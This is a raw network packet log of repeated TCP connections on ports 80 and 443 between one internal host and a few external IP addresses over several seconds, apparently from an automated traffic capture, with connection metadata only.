Jan 12, 2025 09:27:23.140949011 CET	50352	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:23.143609047 CET	50357	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:23.143641949 CET	443	50357	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:23.143735886 CET	50357	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:23.144301891 CET	50357	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:23.144319057 CET	443	50357	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:23.146105051 CET	80	50352	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:23.561980009 CET	80	50354	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:23.562165022 CET	50354	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:23.562254906 CET	80	50354	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:23.562309027 CET	50354	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:23.563049078 CET	50358	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:23.563112020 CET	443	50358	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:23.563199043 CET	50358	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:23.563258886 CET	50358	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:23.563328981 CET	443	50358	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:23.563388109 CET	50358	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:23.563652039 CET	50359	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:23.566951036 CET	80	50354	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:23.568480015 CET	80	50359	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:23.568547964 CET	50359	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:23.568573952 CET	50359	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:23.573360920 CET	80	50359	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:23.615915060 CET	443	50357	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:23.616039991 CET	50357	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:23.617408991 CET	50357	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:23.617485046 CET	443	50357	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:23.617553949 CET	50357	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:23.618061066 CET	50360	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:23.618088007 CET	443	50360	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:23.618161917 CET	50360	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:23.618189096 CET	50360	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:23.618256092 CET	443	50360	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:23.618305922 CET	50360	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:23.618653059 CET	50361	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:23.623538017 CET	80	50361	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:23.623615980 CET	50361	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:23.623661995 CET	50361	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:23.629761934 CET	80	50361	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:24.042653084 CET	80	50359	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:24.042776108 CET	50359	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:24.043559074 CET	80	50359	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:24.043571949 CET	50362	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:24.043623924 CET	443	50362	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:24.043642044 CET	50359	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:24.043687105 CET	50362	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:24.043720007 CET	50362	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:24.043808937 CET	443	50362	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:24.043863058 CET	50362	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:24.044118881 CET	50363	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:24.047621965 CET	80	50359	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:24.048985004 CET	80	50363	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:24.049052954 CET	50363	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:24.049115896 CET	50363	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:24.053982019 CET	80	50363	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:24.096158028 CET	80	50361	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:24.096343040 CET	50361	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:24.096380949 CET	80	50361	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:24.096442938 CET	50361	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:24.097198963 CET	50364	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:24.097235918 CET	443	50364	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:24.097296000 CET	50364	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:24.097323895 CET	50364	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:24.097436905 CET	443	50364	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:24.097490072 CET	50364	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:24.097774982 CET	50365	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:24.101198912 CET	80	50361	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:24.102598906 CET	80	50365	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:24.102776051 CET	50365	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:24.102838039 CET	50365	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:24.107594013 CET	80	50365	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:24.528991938 CET	80	50363	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:24.529257059 CET	50363	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:24.530121088 CET	80	50363	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:24.530195951 CET	50363	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:24.532196045 CET	50368	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:24.532217026 CET	443	50368	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:24.532284975 CET	50368	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:24.532807112 CET	50368	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:24.532819033 CET	443	50368	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:24.534197092 CET	80	50363	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:24.561486006 CET	80	50365	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:24.561634064 CET	50365	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:24.562189102 CET	50369	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:24.562208891 CET	443	50369	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:24.562233925 CET	80	50365	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:24.562278032 CET	50369	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:24.562303066 CET	50369	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:24.562308073 CET	50365	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:24.562392950 CET	443	50369	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:24.562447071 CET	50369	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:24.562830925 CET	50370	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:24.566431999 CET	80	50365	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:24.567667007 CET	80	50370	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:24.567737103 CET	50370	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:24.567773104 CET	50370	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:24.572541952 CET	80	50370	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:25.025285006 CET	443	50368	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:25.025374889 CET	50368	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:25.026722908 CET	50368	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:25.026792049 CET	443	50368	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:25.026856899 CET	50368	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:25.027462006 CET	50371	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:25.027489901 CET	443	50371	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:25.027555943 CET	50371	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:25.027584076 CET	50371	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:25.027672052 CET	443	50371	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:25.027726889 CET	50371	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:25.028170109 CET	50372	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:25.033018112 CET	80	50372	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:25.033092976 CET	50372	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:25.033137083 CET	50372	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:25.037966013 CET	80	50372	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:25.106439114 CET	80	50370	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:25.106703043 CET	50370	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:25.106774092 CET	80	50370	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:25.106827974 CET	50370	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:25.107520103 CET	50373	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:25.107623100 CET	443	50373	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:25.107693911 CET	50373	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:25.107769012 CET	50373	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:25.107882023 CET	443	50373	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:25.107954025 CET	50373	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:25.108144999 CET	50374	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:25.111548901 CET	80	50370	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:25.113019943 CET	80	50374	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:25.113102913 CET	50374	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:25.121336937 CET	50374	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:25.126236916 CET	80	50374	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:25.508781910 CET	80	50372	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:25.508971930 CET	80	50372	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:25.509166956 CET	50372	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:25.509166956 CET	50372	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:25.510060072 CET	50375	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:25.510117054 CET	443	50375	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:25.510302067 CET	50375	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:25.510302067 CET	50375	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:25.510502100 CET	443	50375	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:25.510579109 CET	50375	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:25.510715008 CET	50376	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:25.514080048 CET	80	50372	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:25.515515089 CET	80	50376	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:25.515577078 CET	50376	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:25.515604019 CET	50376	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:25.520365000 CET	80	50376	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:25.582278013 CET	80	50374	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:25.582303047 CET	80	50374	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:25.582429886 CET	50374	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:25.583753109 CET	50374	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:25.585319042 CET	50379	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:25.585350990 CET	443	50379	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:25.585445881 CET	50379	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:25.585969925 CET	50379	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:25.585985899 CET	443	50379	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:25.588608027 CET	80	50374	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:25.968350887 CET	80	50376	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:25.968452930 CET	50376	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:25.968838930 CET	80	50376	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:25.968889952 CET	50376	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:25.969219923 CET	50380	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:25.969240904 CET	443	50380	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:25.969372034 CET	50380	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:25.969393015 CET	50380	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:25.969522953 CET	443	50380	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:25.969574928 CET	50380	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:25.969760895 CET	50381	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:25.973237991 CET	80	50376	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:25.974736929 CET	80	50381	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:25.974787951 CET	50381	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:25.974822998 CET	50381	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:25.979624033 CET	80	50381	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:26.072329998 CET	443	50379	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:26.072438955 CET	50379	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:26.073808908 CET	50379	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:26.073884964 CET	443	50379	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:26.073995113 CET	50379	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:26.074470043 CET	50382	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:26.074486017 CET	443	50382	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:26.074553013 CET	50382	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:26.074573040 CET	50382	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:26.074667931 CET	443	50382	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:26.074716091 CET	50382	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:26.074928999 CET	50383	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:26.079766989 CET	80	50383	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:26.079848051 CET	50383	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:26.079870939 CET	50383	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:26.084640026 CET	80	50383	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:26.428056955 CET	80	50381	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:26.428195000 CET	80	50381	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:26.428287983 CET	50381	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:26.428287983 CET	50381	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:26.429069042 CET	50384	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:26.429090023 CET	443	50384	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:26.429157019 CET	50384	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:26.429297924 CET	50384	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:26.429389954 CET	443	50384	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:26.429457903 CET	50384	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:26.429737091 CET	50385	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:26.433089018 CET	80	50381	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:26.434673071 CET	80	50385	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:26.434745073 CET	50385	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:26.434784889 CET	50385	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:26.439575911 CET	80	50385	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:26.560540915 CET	80	50383	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:26.560657024 CET	50383	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:26.561309099 CET	50386	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:26.561414003 CET	443	50386	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:26.561466932 CET	80	50383	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:26.561496973 CET	50386	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:26.561518908 CET	50383	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:26.561569929 CET	50386	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:26.561669111 CET	443	50386	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:26.561727047 CET	50386	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:26.561907053 CET	50387	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:26.565515041 CET	80	50383	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:26.566705942 CET	80	50387	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:26.566766024 CET	50387	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:26.566898108 CET	50387	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:26.571716070 CET	80	50387	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:26.884705067 CET	80	50385	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:26.884874105 CET	50385	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:26.885380983 CET	80	50385	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:26.885639906 CET	50385	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:26.887980938 CET	50390	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:26.888072968 CET	443	50390	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:26.888155937 CET	50390	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:26.888680935 CET	50390	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:26.888715029 CET	443	50390	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:26.890120983 CET	80	50385	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:27.024802923 CET	80	50387	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:27.024894953 CET	50387	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:27.025255919 CET	80	50387	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:27.025304079 CET	50387	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:27.025681019 CET	50391	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:27.025715113 CET	443	50391	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:27.025780916 CET	50391	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:27.026108980 CET	50392	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:27.026109934 CET	50391	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:27.026150942 CET	443	50391	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:27.026201010 CET	50391	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:27.030771971 CET	80	50387	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:27.032393932 CET	80	50392	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:27.032457113 CET	50392	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:27.032485962 CET	50392	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:27.037493944 CET	80	50392	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:27.371710062 CET	443	50390	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:27.371921062 CET	50390	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:27.373270988 CET	50390	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:27.373424053 CET	443	50390	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:27.373512030 CET	50390	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:27.373900890 CET	50393	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:27.373934031 CET	443	50393	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:27.374016047 CET	50393	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:27.374044895 CET	50393	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:27.374167919 CET	443	50393	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:27.374253035 CET	50393	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:27.374418974 CET	50394	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:27.379391909 CET	80	50394	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:27.379477978 CET	50394	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:27.379749060 CET	50394	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:27.384545088 CET	80	50394	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:27.488215923 CET	80	50392	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:27.488332987 CET	50392	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:27.488770008 CET	80	50392	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:27.488828897 CET	50392	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:27.489038944 CET	50395	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:27.489070892 CET	443	50395	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:27.489132881 CET	50395	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:27.489157915 CET	50395	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:27.489276886 CET	443	50395	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:27.489334106 CET	50395	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:27.489731073 CET	50396	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:27.493144035 CET	80	50392	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:27.494595051 CET	80	50396	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:27.494668961 CET	50396	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:27.494734049 CET	50396	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:27.499597073 CET	80	50396	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:27.852879047 CET	80	50394	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:27.853027105 CET	50394	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:27.853055000 CET	80	50394	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:27.853110075 CET	50394	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:27.853990078 CET	50397	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:27.854095936 CET	443	50397	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:27.854191065 CET	50397	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:27.854265928 CET	50397	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:27.854398966 CET	443	50397	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:27.854470015 CET	50397	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:27.854743004 CET	50398	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:27.857835054 CET	80	50394	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:27.859611034 CET	80	50398	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:27.859693050 CET	50398	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:27.859731913 CET	50398	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:27.864526987 CET	80	50398	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:27.941625118 CET	80	50396	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:27.941807985 CET	50396	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:27.941997051 CET	80	50396	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:27.942069054 CET	50396	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:27:27.944577932 CET	50401	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:27.944617033 CET	443	50401	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:27.944688082 CET	50401	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:27.945328951 CET	50401	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:27.945353985 CET	443	50401	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:27.946970940 CET	80	50396	104.21.64.1	192.168.2.7
Jan 12, 2025 09:27:28.325730085 CET	80	50398	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:28.325850010 CET	50398	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:28.326438904 CET	80	50398	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:28.326503038 CET	50398	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:27:28.326618910 CET	50402	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:28.326666117 CET	443	50402	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:28.326749086 CET	50402	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:28.326803923 CET	50402	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:28.326911926 CET	443	50402	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:28.326977015 CET	50402	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:28.327316046 CET	50403	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:28.333318949 CET	80	50398	172.67.198.113	192.168.2.7
Jan 12, 2025 09:27:28.334942102 CET	80	50403	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:28.335030079 CET	50403	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:28.335030079 CET	50403	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:28.342470884 CET	80	50403	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:28.420027018 CET	443	50401	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:28.420242071 CET	50401	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:28.423227072 CET	50401	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:28.423389912 CET	443	50401	104.21.60.172	192.168.2.7
Jan 12, 2025 09:27:28.423497915 CET	50401	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:27:28.423918009 CET	50404	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:28.423959017 CET	443	50404	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:28.424040079 CET	50404	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:28.424069881 CET	50404	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:28.424242973 CET	443	50404	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:28.424304008 CET	50404	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:28.424474001 CET	50405	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:28.429289103 CET	80	50405	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:28.429348946 CET	50405	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:28.429495096 CET	50405	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:27:28.434276104 CET	80	50405	188.114.97.3	192.168.2.7
Jan 12, 2025 09:27:28.793081999 CET	80	50403	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:28.793282032 CET	80	50403	172.67.176.186	192.168.2.7
Jan 12, 2025 09:27:28.793328047 CET	50403	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:28.793328047 CET	50403	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:27:28.794162035 CET	50406	443	192.168.2.7	104.21.64.1
